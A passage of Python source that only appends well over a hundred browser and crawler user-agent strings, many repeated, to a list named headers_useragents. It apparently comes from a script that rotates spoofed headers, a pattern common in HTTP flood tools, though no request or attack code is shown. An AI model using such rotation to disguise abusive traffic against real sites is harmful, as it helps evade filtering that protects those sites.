  1400.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)')
  1401.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)')
  1402.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  1403.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA')
  1404.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')
  1405.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')
  1406.     headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)')
  1407.     headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
  1408.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
  1409.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
  1410.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
  1411.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0')
  1412.     headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)')
  1413.     headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)')
  1414.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  1415.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  1416.     headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)')
  1417.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
  1418.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
  1419.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
  1420.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  1421.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)')
  1422.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  1423.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
  1424.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))')
  1425.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
  1426.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51')
  1427.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  1428.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)')
  1429.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)')
  1430.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8')
  1431.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)')
  1432.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1433.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1434.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1435.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1436.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1437.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1438.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1439.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1440.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  1441.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1442.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  1443.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1444.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1445.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1446.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1447.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  1448.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  1449.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1450.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1451.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  1452.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  1453.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1454.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1455.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1456.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  1457.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  1458.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  1459.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  1460.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  1461.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1462.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  1463.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1464.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  1465.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  1466.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  1467.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  1468.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  1469.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  1470.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  1471.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  1472.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  1473.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  1474.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  1475.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  1476.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  1477.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1478.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  1479.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1480.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  1481.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  1482.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  1483.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  1484.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  1485.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  1486.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1487.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  1488.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  1489.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  1490.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  1491.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  1492.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
  1493.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  1494.     headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)')
  1495.     headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
  1496.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
  1497.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
  1498.     headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')
  1499.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
  1500.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')
  1501.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
  1502.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')
  1503.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  1504.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')
  1505.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
  1506.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
  1507.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
  1508.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
  1509.     headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  1510.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  1511.     headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')
  1512.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1513.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1514.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1515.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1516.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1517.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1518.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1519.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1520.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  1521.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1522.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  1523.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1524.     headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  1525.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  1526.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  1527.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1528.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  1529.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1530.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1531.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1532.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1533.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1534.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  1535.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  1536.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1537.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1538.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  1539.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  1540.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1541.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1542.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1543.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  1544.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  1545.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  1546.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  1547.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  1548.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1549.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  1550.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1551.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  1552.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  1553.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  1554.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  1555.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  1556.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  1557.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  1558.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  1559.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  1560.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  1561.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  1562.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  1563.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  1564.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1565.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  1566.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1567.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  1568.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  1569.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  1570.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  1571.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  1572.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  1573.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1574.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  1575.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  1576.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  1577.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  1578.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  1579.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1580.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1581.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1582.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  1583.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  1584.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1585.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1586.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  1587.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  1588.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
